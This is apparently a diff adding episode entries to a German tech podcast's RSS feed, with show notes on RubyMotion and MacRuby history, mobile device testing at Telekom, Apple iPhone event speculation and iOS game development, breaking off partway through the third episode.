+<li>Wir erinnern uns an das Promise Pegasus RAID (<a href="http://www.promise.com/storage/raid_series.aspx?m=192&amp;region=en-global&amp;rsn1=40&amp;rsn3=47">http://www.promise.com/storage/raid_series.aspx?m=192&amp;region=en-global&amp;rsn1=40&amp;rsn3=47</a>)</li>
+<li>Empfohlen in der Freak Show: <a href="http://freakshow.fm/mm105-featuritis-ante-portas#t=1:55:17.658">http://freakshow.fm/mm105-featuritis-ante-portas#t=1:55:17.658</a></li>
+</ul></li>
+<li>Stuff braucht den Platz für alle WWDC Videos seit 2007</li>
+<li>Apple Event am 10.9.2013: <a href="http://allthingsd.com/20130810/circle-sept-10-on-your-calendar-for-apples-big-iphone-event/">http://allthingsd.com/20130810/circle-sept-10-on-your-calendar-for-apples-big-iphone-event/</a>
+
+<ul>
+<li>&quot;Yep&quot; von Jim Dalrymple. <a href="https://twitter.com/jdalrymple">@jdalrymple</a> — <a href="http://www.loopinsight.com">http://www.loopinsight.com</a></li>
+<li>John Gruber hat das auch &quot;bestätigt&quot;</li>
+</ul></li>
+<li>Was könnte passieren?
+
+<ul>
+<li>iOS 7 Release</li>
+<li>neues iPhone 5</li>
+<li>wir kommen wohl nicht im eine &quot;Low-Cost&quot; iPhone herum (<a href="http://appleinsider.com/articles/13/08/19/iphone-5c-expected-to-replace-iphone-5-while-apples-iphone-4s-will-live-on">http://appleinsider.com/articles/13/08/19/iphone-5c-expected-to-replace-iphone-5-while-apples-iphone-4s-will-live-on</a>)</li>
+<li>Apple entgeht in diesem Marksegment eine Menge Geld</li>
+<li>Wir gehen nicht von einem Feature-Phone aus, aber etwas das den mittleren Bereich abdeckt</li>
+</ul></li>
+<li>HTC und Robert Downey Jr. <a href="http://www.theverge.com/2013/8/14/4620510/htc-and-robert-downey-jr-debut-full-version-of-new-change-ad">http://www.theverge.com/2013/8/14/4620510/htc-and-robert-downey-jr-debut-full-version-of-new-change-ad</a></li>
+</ul>
+
+<h3>Der Marimba-Sound (01:27:37)</h3>
+
+<ul>
+<li>Die Entstehungsgeschichte des Marimba-Tons: <a href="http://jacklinstudios.com/docs/making-of-158-marimba.html">http://jacklinstudios.com/docs/making-of-158-marimba.html</a></li>
+</ul>
+
+<h3>Objective-Cologne (01:30:10)</h3>
+
+<ul>
+<li>objcgn: <a href="http://objcgn.com/">http://objcgn.com/</a></li>
+<li>17. - 18. September in Köln</li>
+<li>Eine Cocoa/Objective-Konferenz in Köln mit internationalen Speakern</li>
+<li>Getränke/Catering ist im Preis enthalten</li>
+<li>Am ersten Abend gibt es das &quot;Conference-Dinner&quot;</li>
+<li>Das letzte Mal ist das gesamte Bier weggetrunken worden :-)</li>
+<li>Konferenzen veranstalten macht einen nicht reich</li>
+<li>Promo-Code: <a href="https://objcgn.paydro.net/event/objective-cologne-2013/geekstammtisch">https://objcgn.paydro.net/event/objective-cologne-2013/geekstammtisch</a></li>
+</ul>
+]]></description>
+ <atom:link rel="http://podlove.org/deep-link" href="http://geekstammtisch.de#GST022" />
+
+
+ <psc:chapters>
+
+ <psc:chapter start="00:00:00" title="Unser Gast" />
+
+ <psc:chapter start="00:06:00" title="Podcasting" />
+
+ <psc:chapter start="00:20:30" title="iOS Entwicklung, App Store &amp; Co." />
+
+ <psc:chapter start="00:34:00" title="Der (App) Markt" />
+
+ <psc:chapter start="00:54:50" title="Projekte unter NDA" />
+
+ <psc:chapter start="01:06:40" title="Gerüchteküche" />
+
+ <psc:chapter start="01:27:37" title="Der Marimba-Sound" />
+
+ <psc:chapter start="01:30:10" title="Objective-Cologne" />
+
+ </psc:chapters>
+
+ </item>
+
+ <item>
+ <title>GST023 - The NeXT Episode</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>Dirk Breuer, Sebastian Cohnen</itunes:author>
+ <itunes:subtitle>Mit Mateus &quot;@seanlilmateus&quot; Armando über Mobilfunktechnik, MacRuby, RubyMotion und Apple.</itunes:subtitle>
+ <enclosure url="http://media.geekstammtisch.de/episodes/gst023.mp3" length="81662903" type="audio/mpeg"/>
+ <guid isPermaLink="false">GST023</guid>
+ <pubDate>Mon, 16 Sep 2013 10:37:29 +0200</pubDate>
+ <itunes:duration>01:53:02</itunes:duration>
+ <itunes:summary><![CDATA[**Synopsis:** Dieses Mal war Mateus Armando zu Gast bei uns auf der Couch. Wir sprachen darüber wie neue
+Mobiltelefone in das Netz der Telekom eingegliedert werden und was bei GSM so schief laufen kann. Im Anschluss
+haben wir einen ganz guten Abriss über die Geschichte von RubyMotion gehört und zum Abschluss äußern wir uns
+noch zum Apple iPhone Event vom 10. September.
+
+### Unser Gast (00:00:00)
+
+ * Mateus "@seanlilmateus" Armando
+ * "Lange Namen und die Ämter"
+ * Hat eine Fachinformatik Ausbildung und ein abgebrochenes Informatikstudium vorzuweisen
+ * Arbeitet bei der Deutschen Telekom
+ * Ist in der MacRuby (http://macruby.org/) und RubyMotion (http://www.rubymotion.com/) Szene aktiv
+ * Ruby is Magic: Cupcakes! https://speakerdeck.com/railsbros_dirk/ruby-is-magic-cupcakes
+
+### Arbeiten der Telekom (00:03:55)
+
+ * Mateus automatisiert Dinge mit Ruby auf der Arbeit, ansonsten kommt es weniger zum Einsatz
+ * Mateus testet Mobilfunkentgeräte mit dem Netz der Telekom
+ * Zentrale Stelle für mehrere Länder
+ * Funktionieren die Geräte mit dem Netz der Telekom?
+ * Softwaretests, Funktests
+ * Mateus bekommt oft mal neue Geräte zum Testen in die Hand
+ * Die neuen Apple Geräte werden von speziell ausgewählten Personen getestet; Apple ist da etwas pingelig :)
+ * Wenn Hersteller Mist machen, dürfen die Geräte nicht ins Netz der Telekom
+ * Das Notification System eines ungenannten Devices hat vor einiger Zeit für großflächige Ausfälle gesorgt
+ * Für Sicherheitsrelevante Fragen gibt es noch mal eine eigene Abteilung
+ * Security Research Labs (Karsten Nohl) - "Rooting SIM cars": https://srlabs.de/rooting-sim-cards/
+ * Wireshark: http://www.wireshark.org/
+ * Wireshark und GSM: http://wiki.wireshark.org/GsmProtocolFamily
+
+### GSM Hacking, Security und Co (00:14:30)
+
+ * Testgeräte und -installation sind extrem teuer
+ * Base Transceiver Station: http://en.wikipedia.org/wiki/Base_transceiver_station
+ * Mehr Augen, finden mehr Fehler; bisher wurden Mobilfunkstandards wenig von der "Masse" unter die Lupe genommen
+ * Einige Fehler müssen sowohl beim Hersteller als auch auf Netzebene behandelt werden
+ * NTT DOCOMO: http://www.nttdocomo.co.jp/english/
+ * NTT DOCOMO Ausfälle: http://www.geek.com/mobile/ntt-docomo-asks-google-to-limit-android-data-use-1463313/ http://www.techinasia.com/docomo-outage-line/
+
+### C, Java, NeXT, WebObjects, Erlang… (00:19:35)
+
+ * Mateus hat mit C im jungen Jahren angefangen - Basti hat mit BASIC angefangen: 1 : 00 ;-)
+ * Wir machen einen Ausflug durch diverse Programmiersprachen und Umgebungen, die NeXT und Apple durchgemacht haben
+ * Mateus hat während seiner Ausbildung bei T-Systems Erlang programmiert
+ * Ruby wurde irgendwann zu Mateus' Hobby
+ * PyObjC: http://pythonhosted.org/pyobjc/
+ * RubyCocoa: http://rubycocoa.sourceforge.net/
+ * Wir rätzeln, seit wann Ruby in OS X dabei ist
+ * Der Ruby-Guy bei Apple war Laurent Sansonetti (@lrz)
+ * Apple Scripting Bridge: https://developer.apple.com/library/mac/documentation/Cocoa/Conceptual/ScriptingBridgeConcepts/Introduction/Introduction.html
+
+### MacRuby & RubyMotion (00:27:30)
+
+ * Bertrand Serlet: http://en.wikipedia.org/wiki/Bertrand_Serlet
+ * Bertrand Serlet basht Windows Vista https://www.youtube.com/watch?v=n9UPhwmjJ-Y
+ * Laurent ist zu Bertrand gegangen und hat vorgeschlagen Ruby auf der Objective-C Runtime laufen zu lassen
+ * Das war der Anfang von MacRuby: http://macruby.org/
+ * Es stand im Raum, ob Apple nicht MacRuby für das iPhone verfügbar machen wird (das war 2008)
+ * ABER: MacRuby ist Garbage Collected und es gibt und gab auf dem iPhone nie GC.
+ * Es wurde versucht MacRuby ohne GC zu bauen - nicht einfach
+ * Automatic Reference Counting: http://en.wikipedia.org/wiki/Automatic_Reference_Counting
+ * Garbage Collector in OS X 10.8 ist deprecated
+ * Laurent Sansonetti gründet 2012 eine Firma und präsentiert: RubyMotion: http://www.hipbyte.com http://www.rubymotion.com/
+ * RubyMotion ist MacRuby mit ARC für iOS! Kommerzielle Lizenz, kostet ~150 EUR
+ * Wir rekapitulieren: RubyCocoa, MacRuby, RubyMotion
+ * RubyMotion gibt es auch für Mac
+ * Shizuo @watson1978 Fujita arbeitet zusammen mit Laurent an MacRuby und RubyMotion
+ * ARC bei Objective-C wird zur Compile-Zeit gemacht
+ * MacRuby wird auch kompiliert, mit LLVM
+ * Bindings machen Probleme bei MacRuby und RubyMotion
+ * Blocks in Ruby sind Closures (http://en.wikipedia.org/wiki/Closure_(computer_science)) und sind sehr schwer in MacRuby zu implementieren
+ * Weak Reference: http://en.wikipedia.org/wiki/Weak_reference
+ * Es gibt WeakRef in Ruby! http://www.ruby-doc.org/stdlib-2.0/libdoc/weakref/rdoc/WeakRef.html
+ * Ruby Binding: http://www.ruby-doc.org/core-2.0.0/Binding.html
+ * How to Marshal Procs Using Rubinius: http://yehudakatz.com/2011/11/19/how-to-marshal-procs-using-rubinius/
+ * Kernel#eval ist in RubyMotion nicht verfügbar, weil das die AppStore Richtlinien nicht erlauben
+ * Ansonsten geht alles in RubyMotion, inkl. REPL
+ * Im Laufzeitverhalten sind RubyMotion Anwendungen ohne Unterschied zu Anwendungen in Objective-C
+ * Das Kompilat ist grundsätzlich nicht voneinander zu unterscheiden
+
+### Objective-C Runtime (01:08:00)
+
+ * Objective-C Runtime ist noch nicht so weit wie die JVM mit unterstützten Sprachen, aber es gibt trotzdem einiges
+ * Nu: http://programming.nu/
+ * F-Script: http://www.fscript.org/
+ * eero: http://eerolanguage.org/
+ * Es war wahrscheinlich nicht von Anfang so gedacht, aber das Design lässt es sehr gut zu
+ * Damals sollte auf OpenStep (https://en.wikipedia.org/wiki/OpenStep) Java laufen
+ * Es gibt ein GNUStep (http://www.gnustep.org/) basiertes System, dass sich mit Smalltalk programmieren lässt (http://etoileos.com/etoile/)
+
+### Probleme mit RubyMotion (01:12:45)
+
+ * Bis vor kurzem gab es noch viele Probleme mit Blöcken in Bezug auf Speicherlücken
+ * Für Ruby-Entwickler sind Blöcke absolut normal und werden überall verwendet
+ * Viele Bugs sind entdeckt worden bei der (falschen) Verwendung von CoreData (https://en.wikipedia.org/wiki/Core_Data)
+ * Wichtig ist, CoreData ist keine Datenbank, aber man kann dort Objekte ablegen
+ * CoreData ist sehr mächtig und nicht leicht zu verstehen
+ * Da CoreData ein Teil von iCloud-Sync ist, führt dass dazu das iCloud-Sync oft nicht richtig umgesetzt ist
+ * RubyMotion ist nicht Ruby, sondern ein Dialekt von Ruby
+ * Beispiel ist, dass man mit der Block-API von Objective-C interagieren muss
+ * Named Arguments sind verhalten sich unterschiedlich
+ * In Objective-C sind die Named-Arguments Teil des Methodenname
+ * Die großflächige Verwendung von Named-Arguments wird sich in Ruby noch etwas hinziehen
+ * Wenn man für iOS entwickeln will, aber keine Lust auf Objective-C hat, dann macht man was falsch
+ * Dokumentation ist in Objective-C und die Laufzeitumgebung mit all ihren Eigenheiten ist eben auch Objective-C
+ * Aber: RubyMotion ist nach Mateus die beste Möglichkeit Objective-C zu lernen
+ * RubyMotion ist sehr viel kompakter als Objective-C, daher die bevorzugte Umgebung von Mateus
+
+### Apple iPhone Event (01:30:20)
+
+ * Wir wollen keine goldenen iPhones
+ * Event war leider nicht live
+ * Im Home-Office-Cologne gab es Rudelgucken mit Tippspiel
+ * Enttäuschung, dass es keine Mac News gab
+ * Wieder kein AppleTV SDK :-)
+ * iPhone ist so wichtig, dass nichts parallel vorgestellt wird
+ * Aber: Mavericks und Mac Pros werden kommen, aber ohne Event ist der Mac Pro eher unwahrscheinlich
+ * Neue iPads und iPods stehen auch noch aus, aber dafür lohnt sich auch ein eigenes Event
+ * Eigentlich haben sie Material für noch 2 Events
+ * Dirk wünscht sich ein AppleTV mit SDK und der Möglichkeit einen Playstation Controller anzuschließen
+ * Der Coup des Jahres wäre eine AppleTV Spieleconsole
+ * iPhone/iPod als Controller für Spiele inkl. Secondscreen
+ * Wir gehen nicht davon aus, dass Apple einen eigenen Controller bauen wird/kann
+ * Am Anfang noch vorsichtig im Bereich, in letzter Zeit wird das ganze sehr ernsthaft verfolgt, Stichwort: Grafikleistung und OpenGL 3
+ * In Bezug auf Independent-Spiele ist Apple bereits da wo Microsoft und Sony gerne hinmöchten
+ * Das Event war das Ende der Ära Steve Jobs und der Beginn der Ära Jony Ive
+ * Basti findet das "non" lustig ist, wenn die Löcherhülle auf dem 5C ist (https://www.apple.com/iphone-5c/design/images/cases_gallery_white_white_2x.png)
+ * Die Position des iPhone 5C ist noch unklar
+ * Weder ein Billig-Phone
+ * Gute Leistungsdaten
+ * Es ist aber bunt
+ * Basti sagt nach wie vor, Apple hat es nicht nötig ein Billig-iPhone zu bringen
+ * Unterschied momentan ist die Qualität der Anwendungen
+ * Hintergrund wird nicht sein, mehr Umsatz über iPhones zu machen, sondern iOS weiterzuverbreiten
+ * Das 'C' steht wahrscheinlich für 'Color' und nicht 'Cheap' ;-)
+ * Wir warten weiterhin auf das 4k-Display…]]></itunes:summary>
+ <description><![CDATA[<p><strong>Synopsis:</strong> Dieses Mal war Mateus Armando zu Gast bei uns auf der Couch. Wir sprachen darüber wie neue
+Mobiltelefone in das Netz der Telekom eingegliedert werden und was bei GSM so schief laufen kann. Im Anschluss
+haben wir einen ganz guten Abriss über die Geschichte von RubyMotion gehört und zum Abschluss äußern wir uns
+noch zum Apple iPhone Event vom 10. September.</p>
+
+<h3>Unser Gast (00:00:00)</h3>
+
+<ul>
+<li>Mateus &quot;<a href="https://twitter.com/seanlilmateus">@seanlilmateus</a>&quot; Armando</li>
+<li>&quot;Lange Namen und die Ämter&quot;</li>
+<li>Hat eine Fachinformatik Ausbildung und ein abgebrochenes Informatikstudium vorzuweisen</li>
+<li>Arbeitet bei der Deutschen Telekom</li>
+<li>Ist in der MacRuby (<a href="http://macruby.org/">http://macruby.org/</a>) und RubyMotion (<a href="http://www.rubymotion.com/">http://www.rubymotion.com/</a>) Szene aktiv</li>
+<li>Ruby is Magic: Cupcakes! <a href="https://speakerdeck.com/railsbros_dirk/ruby-is-magic-cupcakes">https://speakerdeck.com/railsbros_dirk/ruby-is-magic-cupcakes</a></li>
+</ul>
+
+<h3>Arbeiten der Telekom (00:03:55)</h3>
+
+<ul>
+<li>Mateus automatisiert Dinge mit Ruby auf der Arbeit, ansonsten kommt es weniger zum Einsatz</li>
+<li>Mateus testet Mobilfunkentgeräte mit dem Netz der Telekom</li>
+<li>Zentrale Stelle für mehrere Länder
+
+<ul>
+<li>Funktionieren die Geräte mit dem Netz der Telekom?</li>
+<li>Softwaretests, Funktests</li>
+</ul></li>
+<li>Mateus bekommt oft mal neue Geräte zum Testen in die Hand
+
+<ul>
+<li>Die neuen Apple Geräte werden von speziell ausgewählten Personen getestet; Apple ist da etwas pingelig :)</li>
+</ul></li>
+<li>Wenn Hersteller Mist machen, dürfen die Geräte nicht ins Netz der Telekom</li>
+<li>Das Notification System eines ungenannten Devices hat vor einiger Zeit für großflächige Ausfälle gesorgt</li>
+<li>Für Sicherheitsrelevante Fragen gibt es noch mal eine eigene Abteilung</li>
+<li>Security Research Labs (Karsten Nohl) - &quot;Rooting SIM cars&quot;: <a href="https://srlabs.de/rooting-sim-cards/">https://srlabs.de/rooting-sim-cards/</a></li>
+<li>Wireshark: <a href="http://www.wireshark.org/">http://www.wireshark.org/</a>
+
+<ul>
+<li>Wireshark und GSM: <a href="http://wiki.wireshark.org/GsmProtocolFamily">http://wiki.wireshark.org/GsmProtocolFamily</a></li>
+</ul></li>
+</ul>
+
+<h3>GSM Hacking, Security und Co (00:14:30)</h3>
+
+<ul>
+<li>Testgeräte und -installation sind extrem teuer</li>
+<li>Base Transceiver Station: <a href="http://en.wikipedia.org/wiki/Base_transceiver_station">http://en.wikipedia.org/wiki/Base_transceiver_station</a></li>
+<li>Mehr Augen, finden mehr Fehler; bisher wurden Mobilfunkstandards wenig von der &quot;Masse&quot; unter die Lupe genommen</li>
+<li>Einige Fehler müssen sowohl beim Hersteller als auch auf Netzebene behandelt werden</li>
+<li>NTT DOCOMO: <a href="http://www.nttdocomo.co.jp/english/">http://www.nttdocomo.co.jp/english/</a></li>
+<li>NTT DOCOMO Ausfälle: <a href="http://www.geek.com/mobile/ntt-docomo-asks-google-to-limit-android-data-use-1463313/">http://www.geek.com/mobile/ntt-docomo-asks-google-to-limit-android-data-use-1463313/</a> <a href="http://www.techinasia.com/docomo-outage-line/">http://www.techinasia.com/docomo-outage-line/</a></li>
+</ul>
+
+<h3>C, Java, NeXT, WebObjects, Erlang… (00:19:35)</h3>
+
+<ul>
+<li>Mateus hat mit C im jungen Jahren angefangen - Basti hat mit BASIC angefangen: 1 : 00 ;-)</li>
+<li>Wir machen einen Ausflug durch diverse Programmiersprachen und Umgebungen, die NeXT und Apple durchgemacht haben</li>
+<li>Mateus hat während seiner Ausbildung bei T-Systems Erlang programmiert</li>
+<li>Ruby wurde irgendwann zu Mateus&#39; Hobby</li>
+<li>PyObjC: <a href="http://pythonhosted.org/pyobjc/">http://pythonhosted.org/pyobjc/</a></li>
+<li>RubyCocoa: <a href="http://rubycocoa.sourceforge.net/">http://rubycocoa.sourceforge.net/</a></li>
+<li>Wir rätzeln, seit wann Ruby in OS X dabei ist</li>
+<li>Der Ruby-Guy bei Apple war Laurent Sansonetti (<a href="https://twitter.com/lrz">@lrz</a>)</li>
+<li>Apple Scripting Bridge: <a href="https://developer.apple.com/library/mac/documentation/Cocoa/Conceptual/ScriptingBridgeConcepts/Introduction/Introduction.html">https://developer.apple.com/library/mac/documentation/Cocoa/Conceptual/ScriptingBridgeConcepts/Introduction/Introduction.html</a></li>
+</ul>
+
+<h3>MacRuby &amp; RubyMotion (00:27:30)</h3>
+
+<ul>
+<li>Bertrand Serlet: <a href="http://en.wikipedia.org/wiki/Bertrand_Serlet">http://en.wikipedia.org/wiki/Bertrand_Serlet</a></li>
+<li>Bertrand Serlet basht Windows Vista <a href="https://www.youtube.com/watch?v=n9UPhwmjJ-Y">https://www.youtube.com/watch?v=n9UPhwmjJ-Y</a></li>
+<li>Laurent ist zu Bertrand gegangen und hat vorgeschlagen Ruby auf der Objective-C Runtime laufen zu lassen</li>
+<li>Das war der Anfang von MacRuby: <a href="http://macruby.org/">http://macruby.org/</a></li>
+<li>Es stand im Raum, ob Apple nicht MacRuby für das iPhone verfügbar machen wird (das war 2008)</li>
+<li>ABER: MacRuby ist Garbage Collected und es gibt und gab auf dem iPhone nie GC.</li>
+<li>Es wurde versucht MacRuby ohne GC zu bauen - nicht einfach</li>
+<li>Automatic Reference Counting: <a href="http://en.wikipedia.org/wiki/Automatic_Reference_Counting">http://en.wikipedia.org/wiki/Automatic_Reference_Counting</a></li>
+<li>Garbage Collector in OS X 10.8 ist deprecated</li>
+<li>Laurent Sansonetti gründet 2012 eine Firma und präsentiert: RubyMotion: <a href="http://www.hipbyte.com">http://www.hipbyte.com</a> <a href="http://www.rubymotion.com/">http://www.rubymotion.com/</a></li>
+<li>RubyMotion ist MacRuby mit ARC für iOS! Kommerzielle Lizenz, kostet ~150 EUR</li>
+<li>Wir rekapitulieren: RubyCocoa, MacRuby, RubyMotion</li>
+<li>RubyMotion gibt es auch für Mac</li>
+<li>Shizuo <a href="https://twitter.com/watson1978">@watson1978</a> Fujita arbeitet zusammen mit Laurent an MacRuby und RubyMotion</li>
+<li>ARC bei Objective-C wird zur Compile-Zeit gemacht</li>
+<li>MacRuby wird auch kompiliert, mit LLVM</li>
+<li>Bindings machen Probleme bei MacRuby und RubyMotion</li>
+<li>Blocks in Ruby sind Closures (<a href="http://en.wikipedia.org/wiki/Closure_(computer_science)">http://en.wikipedia.org/wiki/Closure_(computer_science)</a>) und sind sehr schwer in MacRuby zu implementieren</li>
+<li>Weak Reference: <a href="http://en.wikipedia.org/wiki/Weak_reference">http://en.wikipedia.org/wiki/Weak_reference</a>
+
+<ul>
+<li>Es gibt WeakRef in Ruby! <a href="http://www.ruby-doc.org/stdlib-2.0/libdoc/weakref/rdoc/WeakRef.html">http://www.ruby-doc.org/stdlib-2.0/libdoc/weakref/rdoc/WeakRef.html</a></li>
+</ul></li>
+<li>Ruby Binding: <a href="http://www.ruby-doc.org/core-2.0.0/Binding.html">http://www.ruby-doc.org/core-2.0.0/Binding.html</a></li>
+<li>How to Marshal Procs Using Rubinius: <a href="http://yehudakatz.com/2011/11/19/how-to-marshal-procs-using-rubinius/">http://yehudakatz.com/2011/11/19/how-to-marshal-procs-using-rubinius/</a></li>
+<li>Kernel#eval ist in RubyMotion nicht verfügbar, weil das die AppStore Richtlinien nicht erlauben</li>
+<li>Ansonsten geht alles in RubyMotion, inkl. REPL</li>
+<li>Im Laufzeitverhalten sind RubyMotion Anwendungen ohne Unterschied zu Anwendungen in Objective-C</li>
+<li>Das Kompilat ist grundsätzlich nicht voneinander zu unterscheiden</li>
+</ul>
+
+<h3>Objective-C Runtime (01:08:00)</h3>
+
+<ul>
+<li>Objective-C Runtime ist noch nicht so weit wie die JVM mit unterstützten Sprachen, aber es gibt trotzdem einiges
+
+<ul>
+<li>Nu: <a href="http://programming.nu/">http://programming.nu/</a></li>
+<li>F-Script: <a href="http://www.fscript.org/">http://www.fscript.org/</a></li>
+<li>eero: <a href="http://eerolanguage.org/">http://eerolanguage.org/</a></li>
+</ul></li>
+<li>Es war wahrscheinlich nicht von Anfang so gedacht, aber das Design lässt es sehr gut zu</li>
+<li>Damals sollte auf OpenStep (<a href="https://en.wikipedia.org/wiki/OpenStep">https://en.wikipedia.org/wiki/OpenStep</a>) Java laufen</li>
+<li>Es gibt ein GNUStep (<a href="http://www.gnustep.org/">http://www.gnustep.org/</a>) basiertes System, dass sich mit Smalltalk programmieren lässt (<a href="http://etoileos.com/etoile/">http://etoileos.com/etoile/</a>)</li>
+</ul>
+
+<h3>Probleme mit RubyMotion (01:12:45)</h3>
+
+<ul>
+<li>Bis vor kurzem gab es noch viele Probleme mit Blöcken in Bezug auf Speicherlücken</li>
+<li>Für Ruby-Entwickler sind Blöcke absolut normal und werden überall verwendet</li>
+<li>Viele Bugs sind entdeckt worden bei der (falschen) Verwendung von CoreData (<a href="https://en.wikipedia.org/wiki/Core_Data">https://en.wikipedia.org/wiki/Core_Data</a>)</li>
+<li>Wichtig ist, CoreData ist keine Datenbank, aber man kann dort Objekte ablegen</li>
+<li>CoreData ist sehr mächtig und nicht leicht zu verstehen</li>
+<li>Da CoreData ein Teil von iCloud-Sync ist, führt dass dazu das iCloud-Sync oft nicht richtig umgesetzt ist</li>
+<li>RubyMotion ist nicht Ruby, sondern ein Dialekt von Ruby
+
+<ul>
+<li>Beispiel ist, dass man mit der Block-API von Objective-C interagieren muss</li>
+<li>Named Arguments sind verhalten sich unterschiedlich</li>
+<li>In Objective-C sind die Named-Arguments Teil des Methodenname</li>
+</ul></li>
+<li>Die großflächige Verwendung von Named-Arguments wird sich in Ruby noch etwas hinziehen</li>
+<li>Wenn man für iOS entwickeln will, aber keine Lust auf Objective-C hat, dann macht man was falsch</li>
+<li>Dokumentation ist in Objective-C und die Laufzeitumgebung mit all ihren Eigenheiten ist eben auch Objective-C</li>
+<li>Aber: RubyMotion ist nach Mateus die beste Möglichkeit Objective-C zu lernen</li>
+<li>RubyMotion ist sehr viel kompakter als Objective-C, daher die bevorzugte Umgebung von Mateus</li>
+</ul>
+
+<h3>Apple iPhone Event (01:30:20)</h3>
+
+<ul>
+<li>Wir wollen keine goldenen iPhones</li>
+<li>Event war leider nicht live</li>
+<li>Im Home-Office-Cologne gab es Rudelgucken mit Tippspiel</li>
+<li>Enttäuschung, dass es keine Mac News gab</li>
+<li>Wieder kein AppleTV SDK :-)</li>
+<li>iPhone ist so wichtig, dass nichts parallel vorgestellt wird</li>
+<li>Aber: Mavericks und Mac Pros werden kommen, aber ohne Event ist der Mac Pro eher unwahrscheinlich</li>
+<li>Neue iPads und iPods stehen auch noch aus, aber dafür lohnt sich auch ein eigenes Event</li>
+<li>Eigentlich haben sie Material für noch 2 Events</li>
+<li>Dirk wünscht sich ein AppleTV mit SDK und der Möglichkeit einen Playstation Controller anzuschließen</li>
+<li>Der Coup des Jahres wäre eine AppleTV Spieleconsole</li>
+<li>iPhone/iPod als Controller für Spiele inkl. Secondscreen</li>
+<li>Wir gehen nicht davon aus, dass Apple einen eigenen Controller bauen wird/kann</li>
+<li>Am Anfang noch vorsichtig im Bereich, in letzter Zeit wird das ganze sehr ernsthaft verfolgt, Stichwort: Grafikleistung und OpenGL 3</li>
+<li>In Bezug auf Independent-Spiele ist Apple bereits da wo Microsoft und Sony gerne hinmöchten</li>
+<li>Das Event war das Ende der Ära Steve Jobs und der Beginn der Ära Jony Ive</li>
+<li>Basti findet das &quot;non&quot; lustig ist, wenn die Löcherhülle auf dem 5C ist (<a href="https://www.apple.com/iphone-5c/design/images/cases_gallery_white_white_2x.png">https://www.apple.com/iphone-5c/design/images/cases_gallery_white_white_2x.png</a>)</li>
+<li>Die Position des iPhone 5C ist noch unklar
+
+<ul>
+<li>Weder ein Billig-Phone</li>
+<li>Gute Leistungsdaten</li>
+<li>Es ist aber bunt</li>
+</ul></li>
+<li>Basti sagt nach wie vor, Apple hat es nicht nötig ein Billig-iPhone zu bringen
+
+<ul>
+<li>Unterschied momentan ist die Qualität der Anwendungen</li>
+<li>Hintergrund wird nicht sein, mehr Umsatz über iPhones zu machen, sondern iOS weiterzuverbreiten</li>
+</ul></li>
+<li>Das &#39;C&#39; steht wahrscheinlich für &#39;Color&#39; und nicht &#39;Cheap&#39; ;-)</li>
+<li>Wir warten weiterhin auf das 4k-Display…</li>
+</ul>
+]]></description>
+ <atom:link rel="http://podlove.org/deep-link" href="http://geekstammtisch.de#GST023" />
+
+
+ <psc:chapters>
+
+ <psc:chapter start="00:00:00" title="Begrüßung" />
+
+ <psc:chapter start="00:01:06" title="Unser Gast" />
+
+ <psc:chapter start="00:03:55" title="Arbeiten der Telekom" />
+
+ <psc:chapter start="00:14:30" title="GSM Hacking, Security und Co" />
+
+ <psc:chapter start="00:19:35" title="C, Java, NeXT, WebObjects, Erlang…" />
+
+ <psc:chapter start="00:27:30" title="MacRuby &amp; RubyMotion" />
+
+ <psc:chapter start="01:08:00" title="Objective-C Runtime" />
+
+ <psc:chapter start="01:12:45" title="Probleme mit RubyMotion" />
+
+ <psc:chapter start="01:30:20" title="Apple iPhone Event" />
+
+ </psc:chapters>
+
+ </item>
+
+ <item>
+ <title>GST024 - Super Spell Boy</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>Dirk Breuer, Sebastian Cohnen</itunes:author>
+ <itunes:subtitle>Mit Björn &quot;@_orko&quot; Vollmer über (Indie-)Spieleentwicklung auf iOS und die Entstehung von Super Spell Boy</itunes:subtitle>
+ <enclosure url="http://media.geekstammtisch.de/episodes/gst024.mp3" length="71644657" type="audio/mpeg"/>
+ <guid isPermaLink="false">GST024</guid>
+ <pubDate>Mon, 23 Sep 2013 22:23:10 +0200</pubDate>
+ <itunes:duration>01:39:06</itunes:duration>
+ <itunes:summary><![CDATA[**Synopsis**: Wir haben uns mit unserem @HomeOfficeCGN Kollegen Björn hingesetzt und über Spieleentwicklung
+gesprochen. Konkret ging es um iOS Spiele und noch konkreter um die Entstehung von Super Spell Boy, dem ersten
+erschienen Titel für iOS von Björn. Wir gehen alles durch: von Grafiken erstellen, über Sounddesign, Gameloops
+bis hin zur Preisfindung und Vermarktung.
+
+### Intro (00:00:00)
+
+ * Phill Schiller, Apple iPhone Event 2013: http://www.apple.com/apple-events/september-2013/
+ * Intro Musik: Eric Skiff, http://ericskiff.com/music/
+
+### Unser Gast (00:01:50)
+
+ * Björn @_orko Vollmer, Rhineality Games (http://rhinealitygames.com/)
+ * Zu finden im @HomeOfficeCGN :)
+ * hat Informatik an der FH Köln studiert
+ * pkw.de: "klassische" Rails Webentwicklung
+ * seit 10.10.2010 (weil 101010 = 42 \o/) als Freiberuflicher Softwareentwickler unterwegs
+ * und seit kurzem: Mehr in Richtung Entwicklung von eigenen Spielen
+
+### Browser Spieleentwicklung (00:04:00)
+
+ * Begonnen hat Björn mit Browserspiel (erst in PHP, dann mit Ruby)
+ * Spiel ist immer noch in der Entwicklung, ruht aber derzeit ;-)
+ * Sci-Fi Setting, insgesamt sehr aufwendig
+ * Arbeitstitel: Hard Space (http://hardspace.net/)
+ * Nicht zu verwechseln mit Dead Space (https://en.wikipedia.org/wiki/Dead_Space_(video_game))
+
+### iOS Spieleentwicklung (00:07:00)
+
+ * Dann kam der Entschluss ein iOS Spiel zu machen (Startschuss: April 2012)
+ * Ziele waren:
+ * Mit weniger Umfang
+ * Alle Dinge mussten selbst gemacht werden ^^
+ * Bisher unbekannte Plattform
+ * Einfach losgelegt, ohne sich in vorher groß einzulesen
+ * Bei Spielen ohnehin wenig Kontakt mit UIKit und daher Custom-UI
+ * Bücher
+ * "Spiele entwickeln für iPhone und iPad" (ISBN 978-3-89864-725-0): http://www.amazon.de/Spiele-entwickeln-iPhone-iPad-Programmierung/dp/3898647250
+ * "Spiele entwickeln für iPad, iPhone und iPod touch" (ISBN 978-3446430853): http://www.amazon.de/Spiele-entwickeln-iPad-iPhone-touch/dp/3446430857
+ * Grafik hat Björn mit OpenGL implementiert
+ * Bei OpenGL verlässt man Objective-C Land und macht Vanilla C ;-)
+ * Björn war froh als er damit fertig war ^^
